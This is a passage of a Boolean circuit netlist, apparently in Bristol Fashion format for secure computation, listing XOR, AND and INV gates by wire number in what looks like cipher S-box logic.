36251 10182 XOR +2 1 9964 36247 9963 XOR +2 1 10013 32822 10011 XOR +2 1 9964 33033 9972 XOR +2 1 9964 36246 9967 XOR +1 1 23825 33040 INV +2 1 33040 32821 10165 XOR +2 1 10165 32828 10003 XOR +2 1 36211 10069 36100 XOR +2 1 36100 1376 34309 XOR +2 1 34307 34309 26104 XOR +2 1 26104 26110 26193 XOR +2 1 26104 26200 26185 XOR +2 1 26106 26104 26066 XOR +2 1 26103 26066 26188 XOR +2 1 34309 34303 26199 XOR +2 1 26199 26184 26180 AND +2 1 26120 26193 26191 XOR +2 1 34306 34309 26198 XOR +2 1 26103 26198 26190 XOR +2 1 34302 26190 26189 XOR +2 1 26198 26120 26194 XOR +2 1 26180 26104 26108 XOR +2 1 26191 26189 26182 AND +2 1 26193 26186 26178 AND +2 1 26198 26187 26177 AND +2 1 26177 26105 26107 XOR +2 1 26200 26185 26176 AND +2 1 26176 26177 26079 XOR +2 1 26079 26080 26126 XOR +2 1 26126 26108 26125 XOR +2 1 26179 26125 26173 XOR +2 1 26176 26182 26127 XOR +2 1 26190 26194 26183 AND +2 1 26183 26106 26109 XOR +2 1 26109 26107 26113 XOR +2 1 34309 26113 26118 XOR +2 1 26127 26118 26174 XOR +2 1 26174 26173 26170 AND +2 1 34309 34304 26197 XOR +2 1 26197 26188 26175 AND +2 1 26175 26178 26128 XOR +2 1 26108 26128 26082 XOR +2 1 26082 26107 26172 XOR +2 1 26170 26172 26169 XOR +2 1 26176 26128 26122 XOR +2 1 26179 26122 26078 XOR +2 1 26175 26181 26132 XOR +2 1 26132 26104 26119 XOR +2 1 26127 26119 26171 XOR +2 1 26113 26132 26081 XOR +2 1 34307 26081 26124 XOR +2 1 26170 26124 26165 XOR +2 1 34303 26078 26166 XOR +2 1 26171 26169 26168 AND +2 1 26168 26124 26167 XOR +2 1 26168 26180 26073 XOR +2 1 26073 26109 26069 XOR +2 1 34309 26069 26072 XOR +2 1 26168 26118 26070 XOR +2 1 34307 26069 26068 XOR +2 1 26165 26166 26164 AND +2 1 26164 26181 26076 XOR +2 1 26076 26178 26071 XOR +2 1 26164 26172 26163 XOR +2 1 26071 26072 26155 XOR +2 1 26164 26122 26077 XOR +2 1 26170 26164 26162 XOR +2 1 26155 26187 26145 AND +2 1 26172 26162 26161 AND +2 1 26161 26179 26131 XOR +2 1 26131 26125 26153 XOR +2 1 26161 26169 26159 XOR +2 1 34303 26131 26114 XOR +2 1 26114 26077 26160 XOR +2 1 26160 26191 26141 AND +2 1 26167 26159 26158 AND +2 1 26158 26127 26117 XOR +2 1 26117 26119 26157 XOR +2 1 26158 26182 26075 XOR +2 1 26114 26075 26067 XOR +2 1 26104 26067 26074 XOR +2 1 26071 26074 26156 XOR +2 1 26117 26070 26154 XOR +2 1 26067 26068 26152 XOR +2 1 26152 26200 26135 AND +2 1 26152 26185 26144 AND +2 1 26144 26145 26095 XOR +2 1 26153 26190 26151 AND +2 1 26153 26194 26142 AND +2 1 26154 26199 26139 AND +2 1 26160 26189 26150 AND +2 1 26163 34302 26149 AND +2 1 26149 26151 26130 XOR +2 1 26154 26184 26148 AND +2 1 26148 26139 26100 XOR +2 1 26155 26198 26136 AND +2 1 26135 26136 26129 XOR +2 1 26141 26129 26111 XOR +2 1 26142 26111 26112 XOR +2 1 26150 26112 26116 XOR +2 1 26151 26116 26121 XOR +2 1 26121 26095 26202 XOR +2 1 26149 26116 26085 XOR +1 1 26202 36416 INV +2 1 26157 26192 26138 AND +2 1 26157 26196 26147 AND +2 1 26144 26147 26099 XOR +1 1 26099 26096 INV +2 1 26147 26148 26133 XOR +2 1 26133 26121 36415 XOR +2 1 26144 26133 26123 XOR +2 1 26145 26123 26083 XOR +2 1 26112 26083 36417 XOR +2 1 26167 26186 26146 AND +2 1 26146 26138 26102 XOR +2 1 26102 26129 26098 XOR +2 1 26130 26098 26101 XOR +2 1 26100 26101 26204 XOR +2 1 26146 26147 26084 XOR +2 1 26084 26085 36414 XOR +1 1 26204 33079 INV +2 1 26156 26188 26143 AND +2 1 26139 26143 26115 XOR +1 1 26115 26093 INV +2 1 26093 26098 26097 XOR +2 1 26096 26097 26203 XOR +1 1 26203 33078 INV +2 1 26163 26195 26140 AND +2 1 26140 26123 26089 XOR +1 1 26089 26086 INV +2 1 26167 26193 26137 AND +2 1 26093 26137 26092 XOR +2 1 26092 26130 26088 XOR +2 1 26136 26088 26091 XOR +2 1 26111 26088 26087 XOR +2 1 26086 26087 36413 XOR +2 1 26156 26197 26134 AND +2 1 26145 26134 26094 XOR +1 1 26094 26090 INV +2 1 26090 26091 26201 XOR +1 1 26201 33077 INV +2 1 25404 25500 25485 XOR +2 1 25500 25485 25476 AND +2 1 25476 25477 25379 XOR +2 1 25379 25380 25426 XOR +2 1 25426 25408 25425 XOR +2 1 25476 25428 25422 XOR +2 1 25479 25422 25378 XOR +2 1 34191 25378 25466 XOR +2 1 25476 25482 25427 XOR +2 1 25427 25419 25471 XOR +2 1 25479 25425 25473 XOR +2 1 25427 25418 25474 XOR +2 1 25474 25473 25470 AND +2 1 25470 25472 25469 XOR +2 1 25471 25469 25468 AND +2 1 25468 25424 25467 XOR +2 1 25468 25480 25373 XOR +2 1 25373 25409 25369 XOR +2 1 25470 25424 25465 XOR +2 1 25465 25466 25464 AND +2 1 25470 25464 25462 XOR +2 1 25464 25422 25377 XOR +2 1 25472 25462 25461 AND +2 1 25461 25479 25431 XOR +2 1 34191 25431 25414 XOR +2 1 25414 25377 25460 XOR +2 1 25461 25469 25459 XOR +2 1 25467 25459 25458 AND +2 1 25458 25427 25417 XOR +2 1 25458 25482 25375 XOR +2 1 25417 25419 25457 XOR +2 1 25414 25375 25367 XOR +2 1 25404 25367 25374 XOR +2 1 25460 25489 25450 AND +2 1 25460 25491 25441 AND +2 1 25464 25481 25376 XOR +2 1 25376 25478 25371 XOR +2 1 25371 25374 25456 XOR +2 1 25456 25497 25434 AND +2 1 25457 25496 25447 AND +2 1 25467 25486 25446 AND +2 1 25446 25447 25384 XOR +2 1 25456 25488 25443 AND +2 1 25468 25418 25370 XOR +2 1 25417 25370 25454 XOR +2 1 25454 25484 25448 AND +2 1 25447 25448 25433 XOR +2 1 25467 25493 25437 AND +2 1 34195 25369 25368 XOR +2 1 25367 25368 25452 XOR +2 1 25452 25485 25444 AND +2 1 25444 25447 25399 XOR +1 1 25399 25396 INV +2 1 25444 25433 25423 XOR +2 1 25457 25492 25438 AND +2 1 25446 25438 25402 XOR +2 1 25454 25499 25439 AND +2 1 25439 25443 25415 XOR +1 1 25415 25393 INV +2 1 25393 25437 25392 XOR +2 1 25448 25439 25400 XOR +2 1 25452 25500 25435 AND +2 1 34197 25369 25372 XOR +2 1 25371 25372 25455 XOR +2 1 25455 25487 25445 AND +2 1 25445 25434 25394 XOR +1 1 25394 25390 INV +2 1 25445 25423 25383 XOR +2 1 25455 25498 25436 AND +2 1 25435 25436 25429 XOR +2 1 25441 25429 25411 XOR +2 1 25402 25429 25398 XOR +2 1 25393 25398 25397 XOR +2 1 25396 25397 25503 XOR +2 1 25464 25472 25463 XOR +2 1 25463 34190 25449 AND +2 1 25463 25495 25440 AND +2 1 25440 25423 25389 XOR +1 1 25389 25386 INV +2 1 25431 25425 25453 XOR +2 1 25453 25490 25451 AND +2 1 25449 25451 25430 XOR +2 1 25392 25430 25388 XOR +2 1 25411 25388 25387 XOR +2 1 25386 25387 36258 XOR +2 1 25436 25388 25391 XOR +2 1 25390 25391 25501 XOR +2 1 25430 25398 25401 XOR +2 1 25400 25401 25504 XOR +2 1 33083 36258 9957 XOR +2 1 25453 25494 25442 AND +2 1 25442 25411 25412 XOR +2 1 25450 25412 25416 XOR +2 1 25451 25416 25421 XOR +2 1 25449 25416 25385 XOR +2 1 25384 25385 36259 XOR +2 1 25412 25383 36261 XOR +2 1 36259 36263 10169 XOR +2 1 10237 10169 36168 XOR +2 1 36168 1308 34377 XOR +2 1 25433 25421 36260 XOR +2 1 10161 36260 10147 XOR +2 1 10146 10147 36169 XOR +2 1 36169 1307 34378 XOR +2 1 36259 36258 9902 XOR +2 1 36261 29562 10141 XOR +2 1 10140 10141 36172 XOR +2 1 36172 1304 34381 XOR +2 1 36257 36261 10150 XOR +2 1 10150 36269 10115 XOR +2 1 34378 34381 25778 XOR +2 1 10169 10167 10108 XOR +2 1 10108 10109 10107 XOR +1 1 10107 36192 INV +2 1 36192 1284 34401 XOR +2 1 36259 9953 9952 XOR +2 1 10172 10150 10103 XOR +2 1 9956 9957 36167 XOR +2 1 36167 1309 34376 XOR +2 1 34381 34376 25777 XOR +2 1 34377 34376 25660 XOR +2 1 36255 36260 10215 XOR +2 1 10215 10169 10120 XOR +2 1 10221 10215 36193 XOR +2 1 36193 1283 34402 XOR +2 1 10215 10184 10131 XOR +2 1 33152 10131 36178 XOR +2 1 36178 1298 34387 XOR +2 1 36253 36258 10189 XOR +2 1 10189 10175 10134 XOR +1 1 10134 10132 INV +2 1 10189 36266 10122 XOR +2 1 10189 10179 10110 XOR +2 1 36262 10110 36191 XOR +2 1 36191 1285 34400 XOR +2 1 34401 34400 11244 XOR +2 1 34400 34402 11364 XOR +2 1 36265 10103 36196 XOR +2 1 36196 1280 34405 XOR +2 1 34402 34405 11362 XOR +2 1 34405 34400 11361 XOR +2 1 34376 34378 25780 XOR +1 1 25501 33061 INV +2 1 33061 36260 10119 XOR +2 1 10118 10119 36186 XOR +2 1 10172 33061 10127 XOR +2 1 33061 33152 10174 XOR +1 1 10174 10145 INV +2 1 10145 33081 10143 XOR +2 1 10174 10166 10106 XOR +2 1 33153 10106 36194 XOR +2 1 36194 1282 34403 XOR +2 1 34403 34405 11268 XOR +2 1 11268 11364 11349 XOR +2 1 11364 11349 11340 AND +2 1 10143 10144 36170 XOR +2 1 36170 1306 34379 XOR +2 1 34379 34381 25684 XOR +2 1 10127 10128 10126 XOR +1 1 10126 36179 INV +2 1 36179 1297 34388 XOR +2 1 36186 1290 34395 XOR +2 1 25684 25780 25765 XOR +2 1 25780 25765 25756 AND +1 1 25503 33063 INV +2 1 33084 33063 9914 XOR +2 1 9913 9914 10238 XOR +2 1 10238 10179 36166 XOR +2 1 36166 1310 34375 XOR +2 1 34381 34375 25779 XOR +2 1 34375 34376 25700 XOR +2 1 34375 34377 25683 XOR +2 1 34376 25683 25685 XOR +2 1 34379 25685 25764 XOR +2 1 25779 25764 25760 AND +2 1 25760 25684 25688 XOR +2 1 25778 25700 25774 XOR +2 1 25683 25778 25770 XOR +2 1 25770 25774 25763 AND +2 1 33146 33063 10123 XOR +2 1 10122 10123 36183 XOR +2 1 36183 1293 34392 XOR +2 1 33154 33063 10204 XOR +2 1 10204 10167 10135 XOR +2 1 36253 10135 36175 XOR +2 1 36175 1301 34384 XOR +1 1 10204 10113 INV +2 1 10113 10199 10111 XOR +1 1 25504 33064 INV +2 1 33147 33064 9900 XOR +2 1 33064 9958 36165 XOR +2 1 36165 1311 34374 XOR +2 1 33155 33064 10212 XOR +2 1 10212 10179 10137 XOR +2 1 10212 10149 10114 XOR +2 1 33147 10114 36189 XOR +2 1 36189 1287 34398 XOR +2 1 34374 25770 25769 XOR +1 1 10150 10245 INV +2 1 10245 36263 10133 XOR +2 1 10245 33154 10138 XOR +2 1 10137 10138 10136 XOR +1 1 10136 36174 INV +2 1 36174 1302 34383 XOR +2 1 10132 10133 36176 XOR +2 1 36176 1300 34385 XOR +2 1 34385 34384 25100 XOR +2 1 34383 34385 25123 XOR +2 1 34384 25123 25125 XOR +2 1 34388 25125 25207 XOR +2 1 34387 25125 25204 XOR +2 1 10245 36254 9951 XOR +2 1 9951 9952 10222 XOR +2 1 10222 10166 36177 XOR +2 1 36177 1299 34386 XOR +2 1 34386 34388 25126 XOR +2 1 25126 34387 25085 XOR +2 1 34383 34384 25140 XOR +2 1 34384 34386 25220 XOR +2 1 25444 25445 25395 XOR +2 1 25421 25395 25502 XOR +1 1 25502 33062 INV +2 1 33145 33062 10116 XOR +2 1 10115 10116 36188 XOR +2 1 36188 1288 34397 XOR +2 1 34397 34392 11221 XOR +2 1 34395 34397 11128 XOR +2 1 33062 10142 36171 XOR +2 1 36171 1305 34380 XOR +2 1 34374 34380 25690 XOR +2 1 25690 25685 25766 XOR +2 1 34378 34380 25686 XOR +2 1 25763 25686 25689 XOR +2 1 34380 25685 25767 XOR +2 1 25686 34379 25645 XOR +2 1 34374 25645 25775 XOR +2 1 25684 25690 25773 XOR +2 1 25700 25773 25771 XOR +2 1 25686 25684 25646 XOR +2 1 25775 34374 25761 AND +2 1 25683 25646 25768 XOR +2 1 36256 33062 10214 XOR +2 1 10214 33081 10104 XOR +2 1 10214 10174 10117 XOR +2 1 10104 10105 36195 XOR +2 1 36195 1281 34404 XOR +2 1 34402 34404 11270 XOR +2 1 10214 10149 10125 XOR +2 1 36257 10125 36180 XOR +2 1 36180 1296 34389 XOR +2 1 34386 34389 25218 XOR +2 1 25218 25140 25214 XOR +2 1 34387 34389 25124 XOR +2 1 25126 25124 25086 XOR +2 1 25124 25220 25205 XOR +2 1 25220 25205 25196 AND +2 1 25123 25218 25210 XOR +2 1 25210 25214 25203 AND +2 1 25203 25126 25129 XOR +2 1 11270 34403 11229 XOR +2 1 33082 10117 36187 XOR +2 1 36187 1289 34396 XOR +2 1 25123 25086 25208 XOR +2 1 11270 11268 11230 XOR +2 1 34398 11229 11359 XOR +2 1 34398 34404 11274 XOR +2 1 34403 11274 11360 XOR +2 1 11268 11274 11357 XOR +2 1 25218 25207 25197 AND +2 1 25197 25125 25127 XOR +2 1 25129 25127 25133 XOR +2 1 25196 25197 25099 XOR +2 1 25099 25100 25146 XOR +2 1 34389 25133 25138 XOR +2 1 34389 34383 25219 XOR +2 1 25219 25204 25200 AND +2 1 25200 25124 25128 XOR +2 1 25146 25128 25145 XOR +2 1 34389 34384 25217 XOR +2 1 11359 34398 11345 AND +2 1 25771 25769 25762 AND +2 1 25756 25762 25707 XOR +2 1 34379 25690 25776 XOR +2 1 34375 25776 25772 XOR +2 1 25776 25772 25759 AND +2 1 25773 25766 25758 AND +2 1 25217 25208 25195 AND +2 1 10111 10112 36190 XOR +2 1 36190 1286 34399 XOR +2 1 34399 34401 11267 XOR +2 1 34400 11267 11269 XOR +2 1 11274 11269 11350 XOR +2 1 11357 11350 11342 AND +2 1 34405 34399 11363 XOR +2 1 34404 11269 11351 XOR +2 1 34403 11269 11348 XOR +2 1 11363 11348 11344 AND +2 1 34399 11360 11356 XOR +2 1 11360 11356 11343 AND +2 1 11267 11362 11354 XOR +2 1 34398 11354 11353 XOR +2 1 34399 34400 11284 XOR +2 1 11362 11284 11358 XOR +2 1 11284 11357 11355 XOR +2 1 11355 11353 11346 AND +2 1 11340 11346 11292 XOR +2 1 11267 11230 11352 XOR +2 1 11361 11352 11339 AND +2 1 11339 11342 11293 XOR +2 1 11340 11293 11286 XOR +2 1 11343 11286 11242 XOR +2 1 34399 11242 11330 XOR +2 1 11354 11358 11347 AND +2 1 11347 11270 11273 XOR +2 1 11362 11351 11341 AND +2 1 11340 11341 11243 XOR +2 1 11243 11244 11290 XOR +2 1 11339 11345 11297 XOR +2 1 11297 11268 11283 XOR +2 1 11292 11283 11335 XOR +2 1 11344 11268 11272 XOR +2 1 11272 11293 11246 XOR +2 1 11290 11272 11289 XOR +2 1 11343 11289 11337 XOR +2 1 11341 11269 11271 XOR +2 1 11246 11271 11336 XOR +2 1 11273 11271 11277 XOR +2 1 11277 11297 11245 XOR +2 1 34403 11245 11288 XOR +2 1 34405 11277 11282 XOR +2 1 11292 11282 11338 XOR +2 1 11338 11337 11334 AND +2 1 11334 11288 11329 XOR +2 1 11329 11330 11328 AND +2 1 11328 11345 11240 XOR +2 1 11240 11342 11235 XOR +2 1 11334 11328 11327 XOR +2 1 11336 11327 11326 AND +2 1 11328 11286 11241 XOR +2 1 11328 11336 11291 XOR +2 1 11326 11343 11296 XOR +2 1 34399 11296 11278 XOR +2 1 11296 11289 11318 XOR +2 1 11278 11241 11325 XOR +2 1 11325 11353 11315 AND +2 1 11325 11355 11306 AND +2 1 11318 11358 11307 AND +2 1 11318 11354 11316 AND +2 1 11291 34398 11314 AND +2 1 11314 11316 11295 XOR +2 1 11334 11336 11333 XOR +2 1 11326 11333 11324 XOR +2 1 11335 11333 11332 AND +2 1 11332 11288 11331 XOR +2 1 11331 11350 11311 AND +2 1 11331 11324 11323 AND +2 1 11332 11282 11234 XOR +2 1 11323 11346 11239 XOR +2 1 11278 11239 11231 XOR +2 1 11291 11359 11305 AND +2 1 11331 11357 11302 AND +2 1 11268 11231 11238 XOR +2 1 11235 11238 11321 XOR +2 1 11321 11352 11308 AND +2 1 11323 11292 11281 XOR +2 1 11281 11234 11319 XOR +2 1 11319 11348 11313 AND +2 1 11319 11363 11304 AND +2 1 11281 11283 11322 XOR +2 1 11322 11360 11312 AND +2 1 11304 11308 11279 XOR +1 1 11279 11257 INV +2 1 11257 11302 11256 XOR +2 1 11256 11295 11252 XOR +2 1 11313 11304 11264 XOR +2 1 11311 11312 11248 XOR +2 1 11322 11356 11303 AND +2 1 11311 11303 11266 XOR +2 1 11312 11313 11298 XOR +2 1 11332 11344 11237 XOR +2 1 11237 11273 11233 XOR +2 1 34405 11233 11236 XOR +2 1 34403 11233 11232 XOR +2 1 11231 11232 11317 XOR +2 1 11317 11364 11300 AND +2 1 11317 11349 11309 AND +2 1 11309 11312 11263 XOR +1 1 11263 11260 INV +2 1 11309 11298 11287 XOR +2 1 11305 11287 11253 XOR +1 1 11253 11250 INV +2 1 11235 11236 11320 XOR +2 1 11320 11362 11301 AND +2 1 11300 11301 11294 XOR +2 1 11266 11294 11262 XOR +2 1 11257 11262 11261 XOR +2 1 11260 11261 11367 XOR +2 1 11306 11294 11275 XOR +2 1 11307 11275 11276 XOR +2 1 11301 11252 11255 XOR +2 1 11275 11252 11251 XOR +2 1 11250 11251 36467 XOR +2 1 11295 11262 11265 XOR +2 1 11264 11265 11368 XOR +2 1 11315 11276 11280 XOR +2 1 11314 11280 11249 XOR +2 1 11248 11249 36468 XOR +2 1 36455 36468 11644 XOR +2 1 36468 36467 11386 XOR +2 1 11316 11280 11285 XOR +2 1 11298 11285 36469 XOR +2 1 36469 11423 11613 XOR +1 1 11367 32857 INV +1 1 11368 32858 INV +2 1 11320 11351 11310 AND +2 1 11309 11310 11259 XOR +2 1 11310 11287 11247 XOR +2 1 11276 11247 36470 XOR +2 1 36458 36470 11630 XOR +2 1 11630 32830 11383 XOR +2 1 11285 11259 11366 XOR +1 1 11366 32856 INV +2 1 11630 36454 11385 XOR +2 1 11385 11386 11706 XOR +2 1 10199 10150 10139 XOR +2 1 33155 10139 36173 XOR +2 1 36173 1303 34382 XOR +2 1 34382 34388 25130 XOR +2 1 34382 25210 25209 XOR +2 1 25130 25125 25206 XOR +2 1 25124 25130 25213 XOR +2 1 25140 25213 25211 XOR +2 1 25211 25209 25202 AND +2 1 25196 25202 25147 XOR +2 1 25147 25138 25194 XOR +2 1 25213 25206 25198 AND +2 1 25195 25198 25148 XOR +2 1 25128 25148 25102 XOR +2 1 25102 25127 25192 XOR +2 1 34382 25085 25215 XOR +2 1 25215 34382 25201 AND +2 1 25195 25201 25152 XOR +2 1 25152 25124 25139 XOR +2 1 25147 25139 25191 XOR +2 1 25133 25152 25101 XOR +2 1 34387 25101 25144 XOR +2 1 34387 25130 25216 XOR +2 1 34383 25216 25212 XOR +2 1 25216 25212 25199 AND +2 1 25199 25145 25193 XOR +2 1 25194 25193 25190 AND +2 1 25190 25144 25185 XOR +2 1 25190 25192 25189 XOR +2 1 25191 25189 25188 AND +2 1 25188 25144 25187 XOR +2 1 25187 25213 25157 AND +2 1 25188 25200 25093 XOR +2 1 25093 25129 25089 XOR +2 1 34389 25089 25092 XOR +2 1 25188 25138 25090 XOR +2 1 34387 25089 25088 XOR +2 1 25187 25206 25166 AND +2 1 25196 25148 25142 XOR +2 1 25199 25142 25098 XOR +2 1 34383 25098 25186 XOR +2 1 25185 25186 25184 AND +2 1 25184 25142 25097 XOR +2 1 25184 25192 25183 XOR +2 1 25183 34382 25169 AND +2 1 25190 25184 25182 XOR +2 1 25183 25215 25160 AND +2 1 25192 25182 25181 AND +2 1 25181 25199 25151 XOR +2 1 34383 25151 25134 XOR +2 1 25134 25097 25180 XOR +2 1 25180 25209 25170 AND +2 1 25151 25145 25173 XOR +2 1 25181 25189 25179 XOR +2 1 25173 25214 25162 AND +2 1 25180 25211 25161 AND +2 1 25187 25179 25178 AND +2 1 25178 25202 25095 XOR +2 1 25134 25095 25087 XOR +2 1 25124 25087 25094 XOR +2 1 25178 25147 25137 XOR +2 1 25137 25139 25177 XOR +2 1 25177 25216 25167 AND +2 1 25166 25167 25104 XOR +2 1 25177 25212 25158 AND +2 1 25166 25158 25122 XOR +2 1 25137 25090 25174 XOR +2 1 25174 25219 25159 AND +2 1 25174 25204 25168 AND +2 1 25184 25201 25096 XOR +2 1 25168 25159 25120 XOR +2 1 25096 25198 25091 XOR +2 1 25091 25092 25175 XOR +2 1 25175 25218 25156 AND +2 1 25091 25094 25176 XOR +2 1 25176 25208 25163 AND +2 1 25159 25163 25135 XOR +1 1 25135 25113 INV +2 1 25113 25157 25112 XOR +2 1 25176 25217 25154 AND +2 1 25087 25088 25172 XOR +2 1 25172 25205 25164 AND +2 1 25172 25220 25155 AND +2 1 25155 25156 25149 XOR +2 1 25161 25149 25131 XOR +2 1 25162 25131 25132 XOR +2 1 25170 25132 25136 XOR +2 1 25169 25136 25105 XOR +2 1 25104 25105 36424 XOR +1 1 36424 11380 INV +2 1 36428 11380 11392 XOR +2 1 25167 25168 25153 XOR +2 1 25164 25153 25143 XOR +2 1 25160 25143 25109 XOR +1 1 25109 25106 INV +2 1 25175 25207 25165 AND +2 1 25165 25143 25103 XOR +2 1 25165 25154 25114 XOR +1 1 25114 25110 INV +2 1 25132 25103 36426 XOR +2 1 36426 36430 11629 XOR +1 1 11629 11393 INV +2 1 25164 25165 25115 XOR +2 1 25173 25210 25171 AND +2 1 25169 25171 25150 XOR +2 1 25112 25150 25108 XOR +2 1 25131 25108 25107 XOR +2 1 25106 25107 36423 XOR +2 1 36427 36423 11390 XOR +2 1 25156 25108 25111 XOR +2 1 25110 25111 25221 XOR +1 1 25221 33058 INV +2 1 25171 25136 25141 XOR +2 1 25153 25141 36425 XOR +2 1 11490 36425 11505 XOR +2 1 25141 25115 25222 XOR +1 1 25222 33059 INV +2 1 33059 33069 11639 XOR +2 1 33059 33058 11503 XOR +2 1 25122 25149 25118 XOR +2 1 25113 25118 25117 XOR +2 1 25150 25118 25121 XOR +2 1 25120 25121 25224 XOR +1 1 25224 33060 INV +2 1 33071 33060 11388 XOR +2 1 25778 25767 25757 AND +2 1 25756 25757 25659 XOR +2 1 25659 25660 25706 XOR +2 1 25706 25688 25705 XOR +2 1 25757 25685 25687 XOR +2 1 25689 25687 25693 XOR +2 1 25759 25705 25753 XOR +2 1 34381 25693 25698 XOR +2 1 25707 25698 25754 XOR +2 1 25754 25753 25750 AND +2 1 25164 25167 25119 XOR +1 1 25119 25116 INV +2 1 25116 25117 25223 XOR +2 1 33070 25223 11508 XOR +1 1 25223 36422 INV +2 1 25777 25768 25755 AND +2 1 25755 25758 25708 XOR +2 1 25756 25708 25702 XOR +2 1 25759 25702 25658 XOR +2 1 34375 25658 25746 XOR +2 1 25688 25708 25662 XOR +2 1 25662 25687 25752 XOR +2 1 25750 25752 25749 XOR +2 1 25755 25761 25712 XOR +2 1 25693 25712 25661 XOR +2 1 34379 25661 25704 XOR +2 1 25750 25704 25745 XOR +2 1 25712 25684 25699 XOR +2 1 25707 25699 25751 XOR +2 1 25745 25746 25744 AND +2 1 25744 25752 25743 XOR +2 1 25743 25775 25720 AND +2 1 25743 34374 25729 AND +2 1 25750 25744 25742 XOR +2 1 25752 25742 25741 AND +2 1 25741 25759 25711 XOR +2 1 25741 25749 25739 XOR +2 1 34375 25711 25694 XOR +2 1 25711 25705 25733 XOR +2 1 25733 25770 25731 AND +2 1 25729 25731 25710 XOR +2 1 25733 25774 25722 AND +2 1 25744 25702 25657 XOR +2 1 25694 25657 25740 XOR +2 1 25740 25769 25730 AND +2 1 25740 25771 25721 AND +2 1 25744 25761 25656 XOR +2 1 25656 25758 25651 XOR +2 1 25751 25749 25748 AND +2 1 25748 25704 25747 XOR +2 1 25747 25773 25717 AND +2 1 25748 25760 25653 XOR +2 1 25747 25766 25726 AND +2 1 25747 25739 25738 AND +2 1 25738 25707 25697 XOR +2 1 25697 25699 25737 XOR +2 1 25737 25772 25718 AND +2 1 25737 25776 25727 AND +2 1 25748 25698 25650 XOR +2 1 25697 25650 25734 XOR +2 1 25734 25779 25719 AND +2 1 25726 25718 25682 XOR +2 1 25734 25764 25728 AND +2 1 25728 25719 25680 XOR +2 1 25727 25728 25713 XOR +2 1 25653 25689 25649 XOR +2 1 34381 25649 25652 XOR +2 1 25651 25652 25735 XOR +2 1 34379 25649 25648 XOR +2 1 25735 25767 25725 AND +2 1 25735 25778 25716 AND +2 1 25726 25727 25664 XOR +2 1 25738 25762 25655 XOR +2 1 25694 25655 25647 XOR +2 1 25647 25648 25732 XOR +2 1 25732 25780 25715 AND +2 1 25732 25765 25724 AND +2 1 25724 25727 25679 XOR +2 1 25724 25713 25703 XOR +1 1 25679 25676 INV +2 1 25720 25703 25669 XOR +2 1 25715 25716 25709 XOR +2 1 25721 25709 25691 XOR +1 1 25669 25666 INV +2 1 25722 25691 25692 XOR +2 1 25730 25692 25696 XOR +2 1 25729 25696 25665 XOR +2 1 25731 25696 25701 XOR +2 1 25713 25701 36437 XOR +2 1 25664 25665 36436 XOR +2 1 25724 25725 25675 XOR +2 1 25682 25709 25678 XOR +2 1 25710 25678 25681 XOR +2 1 25680 25681 25784 XOR +2 1 25701 25675 25782 XOR +2 1 25725 25703 25663 XOR +2 1 25692 25663 36438 XOR +1 1 25782 33065 INV +1 1 25784 33067 INV +2 1 25684 25647 25654 XOR +2 1 25651 25654 25736 XOR +2 1 25736 25768 25723 AND +2 1 25736 25777 25714 AND +2 1 25725 25714 25674 XOR +2 1 25719 25723 25695 XOR +1 1 25695 25673 INV +2 1 25673 25717 25672 XOR +2 1 25672 25710 25668 XOR +2 1 25673 25678 25677 XOR +2 1 25716 25668 25671 XOR +2 1 25676 25677 25783 XOR +2 1 25691 25668 25667 XOR +2 1 25666 25667 36435 XOR +1 1 25674 25670 INV +2 1 25670 25671 25781 XOR +1 1 25783 33066 INV +1 1 25781 33072 INV +2 1 36261 36265 10164 XOR +2 1 10164 36268 10121 XOR +2 1 10164 36262 9901 XOR +2 1 9901 9902 10243 XOR +2 1 10243 10175 36184 XOR +2 1 10120 10121 36185 XOR +2 1 36184 1292 34393 XOR +2 1 34393 34392 11104 XOR +2 1 10164 33083 9899 XOR +2 1 9899 9900 10244 XOR +2 1 10244 10204 36182 XOR +2 1 36182 1294 34391 XOR +2 1 34391 34393 11127 XOR +2 1 34392 11127 11129 XOR +2 1 34396 11129 11211 XOR +2 1 34395 11129 11208 XOR +2 1 34391 34392 11144 XOR +2 1 34397 34391 11223 XOR +2 1 11223 11208 11204 AND +2 1 11204 11128 11132 XOR +2 1 10212 10164 10124 XOR +2 1 36185 1291 34394 XOR +2 1 34392 34394 11224 XOR +2 1 34394 34397 11222 XOR +2 1 11222 11211 11201 AND +2 1 11127 11222 11214 XOR +2 1 11222 11144 11218 XOR +2 1 11214 11218 11207 AND +2 1 11201 11129 11131 XOR +2 1 34394 34396 11130 XOR +2 1 11130 11128 11090 XOR +2 1 11127 11090 11212 XOR +2 1 11221 11212 11199 AND +2 1 11207 11130 11133 XOR +2 1 11133 11131 11137 XOR +2 1 34397 11137 11142 XOR +2 1 11128 11224 11209 XOR +2 1 11224 11209 11200 AND +2 1 11200 11201 11103 XOR +2 1 11103 11104 11150 XOR +2 1 11150 11132 11149 XOR +2 1 33084 10124 36181 XOR +2 1 36181 1295 34390 XOR +2 1 34390 11214 11213 XOR +2 1 34390 34396 11134 XOR +2 1 34395 11134 11220 XOR +2 1 11128 11134 11217 XOR +2 1 11144 11217 11215 XOR +2 1 11134 11129 11210 XOR +2 1 11217 11210 11202 AND +2 1 34391 11220 11216 XOR +2 1 11215 11213 11206 AND +2 1 11220 11216 11203 AND +2 1 11203 11149 11197 XOR +2 1 11200 11206 11151 XOR +2 1 11151 11142 11198 XOR +2 1 11198 11197 11194 AND +2 1 11199 11202 11152 XOR +2 1 11132 11152 11106 XOR +2 1 11106 11131 11196 XOR +2 1 11194 11196 11193 XOR +2 1 11200 11152 11146 XOR +2 1 11203 11146 11102 XOR +2 1 34391 11102 11190 XOR +2 1 11130 34395 11089 XOR +2 1 34390 11089 11219 XOR +2 1 11219 34390 11205 AND +2 1 11199 11205 11156 XOR +2 1 11137 11156 11105 XOR +2 1 11156 11128 11143 XOR +2 1 11151 11143 11195 XOR +2 1 11195 11193 11192 AND +2 1 11192 11204 11097 XOR +2 1 11097 11133 11093 XOR +2 1 34395 11093 11092 XOR +2 1 11192 11142 11094 XOR +2 1 34395 11105 11148 XOR +2 1 11194 11148 11189 XOR +2 1 11189 11190 11188 AND +2 1 11188 11205 11100 XOR +2 1 11100 11202 11095 XOR +2 1 11188 11196 11187 XOR +2 1 11187 11219 11164 AND +2 1 11188 11146 11101 XOR +2 1 11192 11148 11191 XOR +2 1 11191 11210 11170 AND +2 1 11191 11217 11161 AND +2 1 11187 34390 11173 AND +2 1 11194 11188 11186 XOR +2 1 11196 11186 11185 AND +2 1 11185 11203 11155 XOR +2 1 11155 11149 11177 XOR +2 1 11177 11218 11166 AND +2 1 11185 11193 11183 XOR +2 1 11191 11183 11182 AND +2 1 11182 11206 11099 